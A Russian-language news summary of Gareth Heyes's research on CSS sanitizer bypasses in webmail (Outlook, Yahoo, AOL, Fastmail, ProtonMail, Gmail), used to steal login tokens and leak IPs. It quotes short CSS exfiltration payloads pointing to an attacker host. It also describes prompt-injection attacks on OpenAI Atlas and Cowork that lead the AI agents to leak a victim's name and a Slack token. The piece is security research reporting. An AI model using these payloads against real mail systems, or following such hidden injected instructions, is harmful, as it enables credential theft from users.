Гарет Хейс из PortSwigger разобрал, как веб-почта обрабатывает CSS из писем, и нашёл кучу способов выйти за доверенные границы, украсть токены и пароли. Санитайзеры пытаются ограничить HTML и CSS, но расхождение между тем, что они считают безопасным, и тем, что реально рендерит браузер, даёт бреши.
Сначала Хейс злоупотребил разрешёнными свойствами. Метка <label for="..."> позволяет кликать за другие элементы, и в Outlook из письма можно открыть ленту UI и закрепить сообщение жертве — Microsoft это не починил. Для OpenAI Atlas через Fastmail он сделал непрямую prompt injection: с помощью :before и opacity скрыл от пользователя французский текст, а LLM увидела инструкции открыть десятки вкладок с https://02.rs/debug#... и украсть имя жертвы.
Дальше — вставка из буфера обмена. Если скопировать HTML со стилями и вставить в черновик AOL или Yahoo Mail, CSS ненадолго применяется до санитизации. Firefox оказался лучшей целью: он пропускает inline-стили и запросы фоновых изображений. Так уводится 12-символьный hex-токен входа Medium. Вложенные CSS-селекторы позволяют подобрать начало и конец токена, а серверная логика вычисляет середину. Yahoo и AOL страдают той же гонкой.
Хейс проверил, можно ли вытащить токен при CSP, блокирующем внешние запросы. Да, можно. Через @font-face с unicode-range и анимациями он увеличивает нужные цифры, замеряет высоту шрифта, вычисляет частоту каждой цифры и подменяет inset у ссылок так, что жертва кликом отправляет комбинацию на сервер атакующего.
Потом — обходы санитайзеров. Нашлись десятки способов делать внешние запросы: image-set(), экранирование слешей /\0a/evil, игнорируемые браузером символы вроде }. С их помощью Хейс обошёл image proxy. В Fastmail трекер открытия письма работает через content:url(/\5c /user.fm/...). ProtonMail показывал IP жертвы через запутанный background — они сначала отмахнулись, но потом молча исправили. Gmail до сих пор уязвим: background:image-set(var(--x,'//02.rs')) обходит прокси.
Связку с Gmail использовали с коллегой Питом Хенди для взлома Cowork. Через Gmail connector они подсунули Cowork письмо с инструкцией найти Slack-токен, собрать HTML-черновик с image-set(var(--flag,'//02.rs?flag=...')) и украсть токен, когда жертва откроет черновик. В конце Хейс показал мутацию CSS в Fastmail через CSSOM: браузер при чтении свойств меняет код, и безопасный CSS превращается в опасный.